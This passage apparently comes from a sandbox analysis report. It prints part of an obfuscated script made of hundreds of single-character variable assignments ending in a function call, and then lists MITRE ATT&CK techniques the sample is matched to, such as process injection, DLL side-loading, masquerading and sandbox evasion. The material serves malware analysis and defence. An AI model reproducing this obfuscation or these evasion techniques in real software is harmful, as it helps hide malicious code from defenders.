448	onrennr = "C";
449	onrennr = "J";
450	onrennr = "N";
451	onrennr = "V";
452	onrennr = "s";
453	onrennr = "V";
454	onrennr = "b";
455	onrennr = "w";
456	onrennr = "H";
457	onrennr = "g";
458	onrennr = "I";
459	onrennr = "J";
460	onrennr = "W";
461	onrennr = "3";
462	wtrzwfqr = "e";
463	wtrzwfqr = "R";
464	wtrzwfqr = "Q";
465	wtrzwfqr = "j";
466	wtrzwfqr = "n";
467	wtrzwfqr = "v";
468	wtrzwfqr = "O";
469	wtrzwfqr = "B";
470	wtrzwfqr = "m";
471	wtrzwfqr = "w";
472	wtrzwfqr = "E";
473	wtrzwfqr = "c";
474	wtrzwfqr = "l";
475	wtrzwfqr = "V";
476	wtrzwfqr = "K";
477	wtrzwfqr = "q";
478	wtrzwfqr = "z";
479	wtrzwfqr = "d";
480	wtrzwfqr = "f";
481	wtrzwfqr = "q";
482	wtrzwfqr = "x";
483	wtrzwfqr = "d";
484	wtrzwfqr = "S";
485	wtrzwfqr = "E";
486	wtrzwfqr = "R";
487	wtrzwfqr = "K";
488	wtrzwfqr = "e";
489	wtrzwfqr = "V";
490	wtrzwfqr = "k";
491	jsyssh = "t";
492	jsyssh = "n";
493	jsyssh = "Q";
494	jsyssh = "c";
495	jsyssh = "T";
496	jsyssh = "H";
497	jsyssh = "g";
498	jsyssh = "y";
499	jsyssh = "C";
500	jsyssh = "d";
501	jsyssh = "t";
502	jsyssh = "n";
503	jsyssh = "H";
504	jsyssh = "U";
505	jsyssh = "r";
506	jsyssh = "D";
507	jsyssh = "x";
508	jsyssh = "b";
509	jsyssh = "m";
510	jsyssh = "C";
511	jsyssh = "Q";
512	jsyssh = "b";
513	jsyssh = "v";
514	jsyssh = "r";
515	jsyssh = "L";
516	jsyssh = "v";
517	jsyssh = "s";
518	jsyssh = "x";
519	jsyssh = "z";
520	jsyssh = "u";
521	jsyssh = "n";
522	jsyssh = "b";
523	jsyssh = "f";
524	jsyssh = "O";
525	jsyssh = "C";
526	jsyssh = "Z";
527	jsyssh = "n";
528	jsyssh = "c";
529	hsoxeqyyt = "K";
530	hsoxeqyyt = "a";
531	hsoxeqyyt = "t";
532	hsoxeqyyt = "a";
533	naancfl = "C";
534	naancfl = "F";
535	naancfl = "R";
536	naancfl = "I";
537	naancfl = "o";
538	naancfl = "H";
539	naancfl = "S";
540	naancfl = "o";
541	naancfl = "W";
542	naancfl = "l";
543	naancfl = "d";
544	naancfl = "k";
545	naancfl = "E";
546	naancfl = "s";
547	naancfl = "F";
548	naancfl = "w";
549	naancfl = ":";
550	tolmfuz = "x";
551	tolmfuz = "i";
552	tolmfuz = "W";
553	tolmfuz = "L";
554	tolmfuz = "C";
555	tolmfuz = "S";
556	tolmfuz = "l";
557	tolmfuz = "C";
558	tolmfuz = "k";
559	tolmfuz = "K";
560	tolmfuz = "A";
561	tolmfuz = "N";
562	tolmfuz = "f";
563	tolmfuz = "K";
564	tolmfuz = "Q";
565	tolmfuz = "X";
566	tolmfuz = "d";
567	oghbx = "P";
568	oghbx = "F";
569	oghbx = "N";
570	oghbx = "c";
571	oghbx = "i";
572	oghbx = "k";
573	oghbx = "s";
574	oghbx = "i";
575	oghbx = "A";
576	oghbx = "H";
577	oghbx = "U";
578	oghbx = "h";
579	oghbx = "N";
580	oghbx = "x";
581	oghbx = "m";
582	oghbx = "O";
583	oghbx = "k";
584	oghbx = "V";
585	oghbx = "r";
586	oghbx = "r";
587	omzvxdm = "b";
588	omzvxdm = "O";
589	omzvxdm = "g";
590	omzvxdm = "j";
591	omzvxdm = "w";
592	omzvxdm = "J";
593	omzvxdm = "a";
594	omzvxdm = "y";
595	omzvxdm = "R";
596	omzvxdm = "C";
597	omzvxdm = "d";
598	omzvxdm = "k";
599	omzvxdm = "Y";
600	omzvxdm = "E";
601	omzvxdm = "l";
602	omzvxdm = "s";
603	omzvxdm = "A";
604	omzvxdm = "E";
605	omzvxdm = "v";
606	omzvxdm = "K";
607	omzvxdm = "h";
608	omzvxdm = "q";
609	omzvxdm = "K";
610	omzvxdm = "O";
611	omzvxdm = "w";
612	ughqni = "P";
613	ughqni = "N";
614	ughqni = "o";
615	ughqni = "i";
616	ughqni = "d";
617	ughqni = "C";
618	ughqni = "v";
619	ughqni = "o";
620	ughqni = "T";
621	ughqni = "B";
622	ughqni = "I";
623	ughqni = "R";
624	ughqni = "g";
625	ughqni = "w";
626	ughqni = "h";
627	ughqni = "n";
628	ughqni = "i";
629	ughqni = "u";
630	ughqni = "W";
631	ughqni = "u";
632	ughqni = "L";
633	ughqni = "a";
634	ughqni = "Y";
635	ughqni = "v";
636	ughqni = "q";
637	ughqni = "s";
638	ughqni = "P";
639	ughqni = "Z";
640	ughqni = "d";
641	ughqni = "J";
642	ughqni = "f";
643	ughqni = "x";
644	ughqni = "k";
645	ughqni = "X";
646	ughqni = "O";
647	ughqni = "D";
648	ughqni = "s";
649	ughqni = "A";
650	ughqni = "a";
651	ughqni = "N";
652	ughqni = "K";
653	ughqni = "i";
654	zhrryk = "g";
655	zhrryk = "x";
656	zhrryk = "s";
657	zhrryk = "J";
658	zhrryk = "V";
659	zhrryk = "y";
660	zhrryk = "a";
661	zhrryk = "h";
662	zhrryk = "L";
663	zhrryk = "j";
664	zhrryk = "h";
665	zhrryk = "l";
666	zhrryk = "t";
667	zhrryk = "m";
668	zhrryk = "Y";
669	zhrryk = "v";
670	zhrryk = "m";
671	zhrryk = "S";
672	zhrryk = "L";
673	zhrryk = "Q";
674	zhrryk = "Y";
675	zhrryk = "N";
676	zhrryk = "u";
677	zhrryk = "C";
678	zhrryk = "q";
679	zhrryk = "H";
680	zhrryk = "J";
681	zhrryk = "U";
682	zhrryk = "M";
683	zhrryk = "K";
684	zhrryk = "b";
685	zhrryk = "e";
686	zhrryk = "i";
687	zhrryk = "r";
688	zhrryk = "g";
689	zhrryk = "U";
690	zhrryk = "d";
691	zhrryk = "A";
692	zhrryk = "N";
693	zhrryk = "w";
694	zhrryk = "E";
695	zhrryk = "6";
696	ipotgo = "v";
697	ipotgo = "l";
698	ipotgo = "i";
699	ipotgo = "J";
700	ipotgo = "Y";
701	ipotgo = "V";
702	ipotgo = "f";
703	ipotgo = "o";
704	ipotgo = "w";
705	ipotgo = "O";
706	ipotgo = "W";
707	ipotgo = "B";
708	ipotgo = "x";
709	ipotgo = "d";
710	ipotgo = "r";
711	ipotgo = "H";
712	ipotgo = "l";
713	ipotgo = "C";
714	ipotgo = "N";
715	ipotgo = "u";
716	ipotgo = "T";
717	ipotgo = "m";
718	ipotgo = "w";
719	ipotgo = "k";
720	ipotgo = "e";
721	ipotgo = "E";
722	ipotgo = "w";
723	ipotgo = "G";
724	ipotgo = "d";
725	ipotgo = "J";
726	ipotgo = "t";
727	ipotgo = "z";
728	ipotgo = "V";
729	ipotgo = "b";
730	ipotgo = "K";
731	ipotgo = "m";
732	ipotgo = "F";
733	ipotgo = "E";
734	ipotgo = "Q";
735	ipotgo = "I";
736	ipotgo = "j";
737	ipotgo = "r";
738	ipotgo = "P";
739	ipotgo = "b";
740	ipotgo = "s";
741	iawzjdx = "y";
742	iawzjdx = "U";
743	iawzjdx = "l";
744	iawzjdx = "s";
745	iawzjdx = "y";
746	iawzjdx = "m";
747	iawzjdx = "y";
748	iawzjdx = "o";
749	iawzjdx = "k";
750	iawzjdx = "G";
751	iawzjdx = "v";
752	iawzjdx = "L";
753	iawzjdx = "i";
754	iawzjdx = "1";
755	trstg = "X";
756	trstg = "P";
757	trstg = "z";
758	trstg = "I";
759	trstg = "u";
760	trstg = "v";
761	trstg = "N";
762	trstg = "d";
763	trstg = "v";
764	trstg = "B";
765	trstg = "w";
766	trstg = "R";
767	trstg = "O";
768	trstg = "t";
769	trstg = "w";
770	trstg = "x";
771	trstg = "K";
772	trstg = "U";
773	trstg = "8";
774	efohywndt = "P";
775	efohywndt = "h";
776	efohywndt = "W";
777	efohywndt = "R";
778	efohywndt = "t";
779	nmpltczt = "T";
780	nmpltczt = "j";
781	nmpltczt = "k";
782	nmpltczt = "H";
783	nmpltczt = "D";
784	nmpltczt = "c";
785	nmpltczt = "h";
786	nmpltczt = "s";
787	nmpltczt = "N";
788	nmpltczt = "X";
789	nmpltczt = "s";
790	nmpltczt = "V";
791	nmpltczt = "J";
792	nmpltczt = "V";
793	nmpltczt = "S";
794	nmpltczt = "L";
795	nmpltczt = "Z";
796	nmpltczt = "P";
797	nmpltczt = "f";
798	nmpltczt = "S";
799	nmpltczt = "b";
800	wqfjgoop = "G";
801	wqfjgoop = "M";
802	wqfjgoop = "X";
803	wqfjgoop = "F";
804	wqfjgoop = "t";
805	wqfjgoop = "m";
806	wqfjgoop = "L";
807	wqfjgoop = "Z";
808	wqfjgoop = "Q";
809	tflbhu = "O";
810	tflbhu = "Y";
811	tflbhu = "d";
812	tflbhu = "Z";
813	tflbhu = "K";
814	tflbhu = "e";
815	tflbhu = "v";
816	tflbhu = "C";
817	tflbhu = "J";
818	tflbhu = "R";
819	tflbhu = "r";
820	tflbhu = "P";
821	tflbhu = "m";
822	tflbhu = "n";
823	tflbhu = "S";
824	tflbhu = "j";
825	tflbhu = "S";
826	tflbhu = "L";
827	tflbhu = "S";
828	tflbhu = "K";
829	tflbhu = "K";
830	tflbhu = "R";
831	tflbhu = "h";
832	tflbhu = "k";
833	tflbhu = "u";
834	tflbhu = "f";
835	tflbhu = "l";
836	tflbhu = "k";
837	tflbhu = "p";
838	tflbhu = "j";
839	tflbhu = "w";
840	tflbhu = "H";
841	tflbhu = "j";
842	tflbhu = "e";
843	tflbhu = "i";
844	tflbhu = "O";
845	tflbhu = "F";
846	tflbhu = "L";
847	tflbhu = "s";
848	tflbhu = "e";
849	tflbhu = "F";
850	guumplmn = "v";
851	guumplmn = "R";
852	kluvds = "G";
853	kluvds = "P";
854	kluvds = "A";
855	kluvds = "P";
856	kluvds = "I";
857	kluvds = "k";
858	kluvds = "M";
859	kluvds = "D";
860	kluvds = "h";
861	kluvds = "a";
862	kluvds = "O";
863	kluvds = "D";
864	kluvds = "u";
865	kluvds = "K";
866	kluvds = "p";
867	kluvds = "P";
868	kluvds = "U";
869	kluvds = "K";
870	kluvds = "v";
871	kluvds = "E";
872	kluvds = "R";
873	kluvds = "l";
874	kluvds = "Q";
875	kluvds = "S";
876	kluvds = "T";
877	kluvds = "G";
878	kluvds = "x";
879	kluvds = "Z";
880	kluvds = "l";
881	kluvds = "x";
882	kluvds = "s";
883	kluvds = "Q";
884	kluvds = "x";
885	kluvds = "F";
886	kluvds = "y";
887	kluvds = "t";
888	kluvds = "W";
889	kluvds = "_";
890	ovmtgkt = "o";
891	ovmtgkt = "A";
892	ovmtgkt = "f";
893	ovmtgkt = "h";
894	ovmtgkt = "T";
895	ovmtgkt = "y";
896	ovmtgkt = "X";
897	ovmtgkt = "h";
898	ovmtgkt = "J";
899	ovmtgkt = "V";
900	ovmtgkt = "G";
901	ovmtgkt = "a";
902	ovmtgkt = "E";
903	ovmtgkt = "I";
904	ovmtgkt = "g";
905	ovmtgkt = "m";
906	ovmtgkt = "G";
907	ovmtgkt = "K";
908	ovmtgkt = "V";
909	ovmtgkt = "r";
910	ovmtgkt = "\"";
911	jpulugz = "j";
912	jpulugz = "X";
913	jpulugz = "x";
914	jpulugz = "Y";
915	jpulugz = "U";
916	jpulugz = "C";
917	jpulugz = "o";
918	wbgcelm = "M";
919	wbgcelm = "x";
920	wbgcelm = "w";
921	wbgcelm = "G";
922	wbgcelm = "m";
923	wbgcelm = "e";
924	wbgcelm = "E";
925	gbpeyfkra = "e";
926	gbpeyfkra = "K";
927	gbpeyfkra = "w";
928	gbpeyfkra = "G";
929	gbpeyfkra = "d";
930	gbpeyfkra = "M";
931	gbpeyfkra = "R";
932	gbpeyfkra = "A";
933	gbpeyfkra = "M";
934	gbpeyfkra = "K";
935	jsyasl = "n";
936	jsyasl = "N";
937	jsyasl = "w";
938	jsyasl = "S";
939	jsyasl = "q";
940	jsyasl = "v";
941	jsyasl = "q";
942	jsyasl = "G";
943	jsyasl = "u";
944	jsyasl = "k";
945	jsyasl = "H";
946	jsyasl = "c";
947	jsyasl = "A";
948	jsyasl = "W";
949	jsyasl = "o";
950	jsyasl = "W";
951	jsyasl = "o";
952	jsyasl = "o";
953	jsyasl = "h";
954	jsyasl = "p";
955	jsyasl = "O";
956	jsyasl = "v";
957	tyieo = "y";
958	tyieo = "L";
959	tyieo = "l";
960	tyieo = "e";
961	tyieo = "h";
962	tyieo = "I";
963	tyieo = "k";
964	tyieo = "z";
965	tyieo = "u";
966	tyieo = "x";
967	tyieo = "Y";
968	tyieo = "c";
969	tyieo = "S";
970	tyieo = "Q";
971	tyieo = "u";
972	tyieo = "W";
973	tyieo = "P";
974	tyieo = "2";
975	vqlofrc = "J";
976	vqlofrc = "t";
977	vqlofrc = "m";
978	vqlofrc = "T";
979	vqlofrc = "l";
980	vqlofrc = "H";
981	vqlofrc = "p";
982	vqlofrc = "l";
983	vqlofrc = "K";
984	vqlofrc = "t";
985	vqlofrc = "S";
986	vqlofrc = "G";
987	vqlofrc = "k";
988	vqlofrc = "t";
989	vqlofrc = "u";
990	vqlofrc = "U";
991	vqlofrc = "p";
992	vqlofrc = "B";
993	vqlofrc = "Z";
994	vqlofrc = "x";
995	vqlofrc = "Z";
996	vqlofrc = "L";
997	vqlofrc = "z";
998	vqlofrc = "Z";
999	vqlofrc = "c";
1000	vqlofrc = "o";
1001	vqlofrc = "c";
1002	vqlofrc = "l";
1003	vqlofrc = "h";
1004	vqlofrc = "D";
1005	vqlofrc = "V";
1006	vqlofrc = "L";
1007	vqlofrc = "s";
1008	vqlofrc = "n";
1009	vqlofrc = "G";
1010	vqlofrc = "e";
1011	vqlofrc = "G";
1012	vqlofrc = "a";
1013	vqlofrc = "X";
1014	vqlofrc = "s";
1015	vqlofrc = "x";
1016	vqlofrc = "g";
1017	vqlofrc = "p";
1018	pdaewhiyc = "d";
1019	pdaewhiyc = "o";
1020	pdaewhiyc = "H";
1021	pdaewhiyc = "c";
1022	pdaewhiyc = "M";
1023	pdaewhiyc = "s";
1024	pdaewhiyc = "K";
1025	pdaewhiyc = "I";
1026	pdaewhiyc = "c";
1027	pdaewhiyc = "b";
1028	pdaewhiyc = "R";
1029	pdaewhiyc = "G";
1030	pdaewhiyc = "X";
1031	pdaewhiyc = "i";
1032	pdaewhiyc = "A";
1033	pdaewhiyc = "K";
1034	pdaewhiyc = "m";
1035	pdaewhiyc = "q";
1036	pdaewhiyc = "e";
1037	pdaewhiyc = "S";
1038	pdaewhiyc = "G";
1039	pdaewhiyc = "@";
1040	ruukak = "T";
1041	ruukak = "s";
1042	ruukak = "c";
1043	ruukak = "/";
1044	isbgxx = "h";
1045	isbgxx = "p";
1046	isbgxx = "s";
1047	isbgxx = "x";
1048	ibafwb = "m";
1049	ibafwb = "b";
1050	ibafwb = "h";
1051	ibafwb = "n";
1052	ibafwb = "A";
1053	ibafwb = "Z";
1054	ibafwb = "b";
1055	ibafwb = "V";
1056	ibafwb = "k";
1057	ibafwb = "x";
1058	ibafwb = "x";
1059	ibafwb = "I";
1060	ibafwb = "e";
1061	ibafwb = "Q";
1062	ibafwb = "Z";
1063	ibafwb = "h";
1064	ibafwb = "k";
1065	ibafwb = "k";
1066	ibafwb = "G";
1067	ibafwb = "K";
1068	ibafwb = "e";
1069	ibafwb = "J";
1070	ibafwb = "z";
1071	ibafwb = "Y";
1072	ibafwb = "s";
1073	ibafwb = "w";
1074	ibafwb = "B";
1075	ibafwb = "k";
1076	ibafwb = "F";
1077	ibafwb = "X";
1078	ibafwb = "R";
1079	ibafwb = "P";
1080	ibafwb = "s";
1081	ibafwb = "G";
1082	ibafwb = "X";
1083	ibafwb = "J";
1084	ibafwb = "G";
1085	ibafwb = "D";
1086	ibafwb = "A";
1087	ibafwb = "r";
1088	ibafwb = "x";
1089	ibafwb = "y";
1090	ibafwb = "U";
1091	ibafwb = "h";
1092	ujlaugl = "y";
1093	ujlaugl = "f";
1094	ujlaugl = "U";
1095	ujlaugl = "M";
1096	ujlaugl = "A";
1097	ujlaugl = "c";
1098	ujlaugl = "c";
1099	ujlaugl = "W";
1100	ujlaugl = "Q";
1101	ujlaugl = "f";
1102	ujlaugl = "x";
1103	ujlaugl = "o";
1104	ujlaugl = "p";
1105	ujlaugl = "Q";
1106	ujlaugl = "D";
1107	ujlaugl = "a";
1108	ujlaugl = "u";
1109	ujlaugl = "p";
1110	ujlaugl = "p";
1111	ujlaugl = "W";
1112	ujlaugl = "O";
1113	ujlaugl = "T";
1114	ovoxw = "B";
1115	ovoxw = "g";
1116	ovoxw = "E";
1117	ovoxw = "e";
1118	ovoxw = "z";
1119	ovoxw = "N";
1120	ovoxw = "x";
1121	ovoxw = "P";
1122	ovoxw = "l";
1123	ovoxw = "v";
1124	ovoxw = "C";
1125	ovoxw = "D";
1126	ovoxw = "u";
1127	ovoxw = "Z";
1128	ovoxw = "b";
1129	ovoxw = "m";
1130	ovoxw = "A";
1131	ovoxw = "k";
1132	ovoxw = "e";
1133	ovoxw = "X";
1134	ovoxw = "B";
1135	ovoxw = "n";
1136	ovoxw = "e";
1137	ovoxw = "z";
1138	ovoxw = "r";
1139	ovoxw = "D";
1140	ovoxw = "A";
1141	ovoxw = "n";
1142	ovoxw = "t";
1143	ovoxw = "g";
1144	ovoxw = "r";
1145	ovoxw = "D";
1146	ovoxw = "l";
1147	ovoxw = "K";
1148	ovoxw = "j";
1149	ovoxw = "T";
1150	ovoxw = "Z";
1151	ovoxw = "k";
1152	ovoxw = "g";
1153	ovoxw = "D";
1154	ovoxw = "4";
1155	infdp = "k";
1156	infdp = " ";
1157	gmrhaxn = "S";
1158	gmrhaxn = "L";
1159	gmrhaxn = "H";
1160	gmrhaxn = "J";
1161	gmrhaxn = "m";
1162	ikyslph = "t";
1163	ikyslph = "h";
1164	ikyslph = "X";
1165	ikyslph = "X";
1166	ikyslph = "p";
1167	ikyslph = "m";
1168	ikyslph = "g";
1169	ikyslph = "P";
1170	ikyslph = "Z";
1171	ikyslph = "v";
1172	ikyslph = "W";
1173	ikyslph = "k";
1174	ikyslph = "h";
1175	ikyslph = "T";
1176	ikyslph = "R";
1177	ikyslph = "Z";
1178	ikyslph = "k";
1179	ikyslph = "i";
1180	ikyslph = "q";
1181	ikyslph = "Y";
1182	ikyslph = "x";
1183	ikyslph = "K";
1184	ikyslph = "z";
1185	ikyslph = "K";
1186	ikyslph = "e";
1187	ikyslph = "w";
1188	ikyslph = "g";
1189	ikyslph = "S";
1190	ikyslph = "V";
1191	ikyslph = "E";
1192	ikyslph = "X";
1193	ikyslph = "Y";
1194	ikyslph = "g";
1195	ikyslph = "t";
1196	ikyslph = "v";
1197	ikyslph = "t";
1198	ikyslph = "v";
1199	ikyslph = "R";
1200	ikyslph = "P";
1201	ikyslph = "x";
1202	ikyslph = "Y";
1203	xrmry = "k";
1204	xrmry = "T";
1205	xrmry = "b";
1206	xrmry = "i";
1207	xrmry = "A";
1208	xrmry = "l";
1209	xrmry = "B";
1210	xrmry = "f";
1211	xrmry = "F";
1212	xrmry = "C";
1213	xrmry = "c";
1214	xrmry = "p";
1215	xrmry = "s";
1216	xrmry = "j";
1217	xrmry = "k";
1218	xrmry = "F";
1219	xrmry = "o";
1220	xrmry = "F";
1221	xrmry = "h";
1222	xrmry = "F";
1223	xrmry = "x";
1224	xrmry = "a";
1225	xrmry = "B";
1226	xrmry = "E";
1227	xrmry = "I";
1228	xrmry = "T";
1229	xrmry = "D";
1230	xrmry = "J";
1231	xrmry = "I";
1232	xrmry = "U";
1233	xrmry = "j";
1234	xrmry = "N";
1235	xrmry = "w";
1236	xrmry = "X";
1237	xrmry = "J";
1238	xrmry = "Q";
1239	xrmry = "j";
1240	xrmry = "c";
1241	xrmry = "B";
1242	xrmry = "M";
1243	xrmry = "d";
1244	xrmry = "F";
1245	xrmry = "l";
1246	selbx = "g";
1247	selbx = "f";
1248	selbx = "N";
1249	selbx = "K";
1250	selbx = "r";
1251	selbx = "z";
1252	selbx = "s";
1253	selbx = "U";
1254	selbx = "f";
1255	selbx = "d";
1256	selbx = "G";
1257	selbx = "G";
1258	selbx = "u";
1259	selbx = "r";
1260	selbx = "C";
1261	selbx = "s";
1262	selbx = "Y";
1263	selbx = "C";
1264	selbx = "p";
1265	selbx = "i";
1266	selbx = "Q";
1267	selbx = "s";
1268	selbx = "b";
1269	selbx = "g";
1270	selbx = "G";
1271	selbx = "W";
1272	selbx = "Y";
1273	selbx = "p";
1274	selbx = "J";
1275	selbx = "S";
1276	bktmybvit = "l";
1277	bktmybvit = "i";
1278	bktmybvit = "W";
1279	bktmybvit = "f";
1280	vjimts = "S";
1281	vjimts = "g";
1282	vjimts = "M";
1283	vjimts = "O";
1284	vjimts = "Q";
1285	vjimts = "T";
1286	vjimts = "T";
1287	vjimts = "s";
1288	vjimts = "R";
1289	vjimts = "a";
1290	vjimts = "D";
1291	vjimts = "k";
1292	vjimts = "c";
1293	vjimts = "a";
1294	vjimts = "Q";
1295	vjimts = "E";
1296	vjimts = "I";
1297	vjimts = "J";
1298	vjimts = "z";
1299	vjimts = "j";
1300	vjimts = "u";
1301	vjimts = "O";
1302	vjimts = "f";
1303	vjimts = "K";
1304	vjimts = "F";
1305	vjimts = "G";
1306	vjimts = "B";
1307	vjimts = "M";
1308	vjimts = "k";
1309	vjimts = "d";
1310	vjimts = "v";
1311	vjimts = "A";
1312	vjimts = "l";
1313	vjimts = "k";
1314	vjimts = "r";
1315	vjimts = "f";
1316	vjimts = "L";
1317	vjimts = "K";
1318	vjimts = "p";
1319	vjimts = "O";
1320	vjimts = "B";
1321	vjimts = "m";
1322	vjimts = "w";
1323	vjimts = "q";
1324	fjsqneyz = "z";
1325	fjsqneyz = "A";
1326	fjsqneyz = "t";
1327	fjsqneyz = "S";
1328	fjsqneyz = "r";
1329	fjsqneyz = "x";
1330	fjsqneyz = "s";
1331	fjsqneyz = "d";
1332	fjsqneyz = "l";
1333	fjsqneyz = "W";
1334	fjsqneyz = "y";
1335	fjsqneyz = "z";
1336	fjsqneyz = "E";
1337	fjsqneyz = "R";
1338	fjsqneyz = "j";
1339	fjsqneyz = "C";
1340	bjdfvmfi = "x";
1341	bjdfvmfi = "h";
1342	bjdfvmfi = "o";
1343	bjdfvmfi = "Z";
1344	bjdfvmfi = "l";
1345	bjdfvmfi = "T";
1346	bjdfvmfi = "r";
1347	bjdfvmfi = "B";
1348	bjdfvmfi = "y";
1349	bjdfvmfi = "Q";
1350	bjdfvmfi = "B";
1351	bjdfvmfi = "P";
1352	bjdfvmfi = "L";
1353	bjdfvmfi = "K";
1354	bjdfvmfi = "F";
1355	bjdfvmfi = "e";
1356	bjdfvmfi = "L";
1357	bjdfvmfi = "i";
1358	bjdfvmfi = "t";
1359	bjdfvmfi = "K";
1360	bjdfvmfi = "n";
1361	bjdfvmfi = "k";
1362	bjdfvmfi = "z";
1363	bjdfvmfi = "J";
1364	bjdfvmfi = "j";
1365	bjdfvmfi = "u";
1366	dccea = "f";
1367	dccea = "U";
1368	dccea = "L";
1369	dccea = "H";
1370	dccea = "y";
1371	dccea = "v";
1372	dccea = "I";
1373	wfczmxupy = "t";
1374	wfczmxupy = "n";
1375	wfczmxupy = "t";
1376	wfczmxupy = "d";
1377	wfczmxupy = "M";
1378	wfczmxupy = "W";
1379	wfczmxupy = "S";
1380	wfczmxupy = "d";
1381	wfczmxupy = "g";
1382	fiizhqg ( );	fiizhqg() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

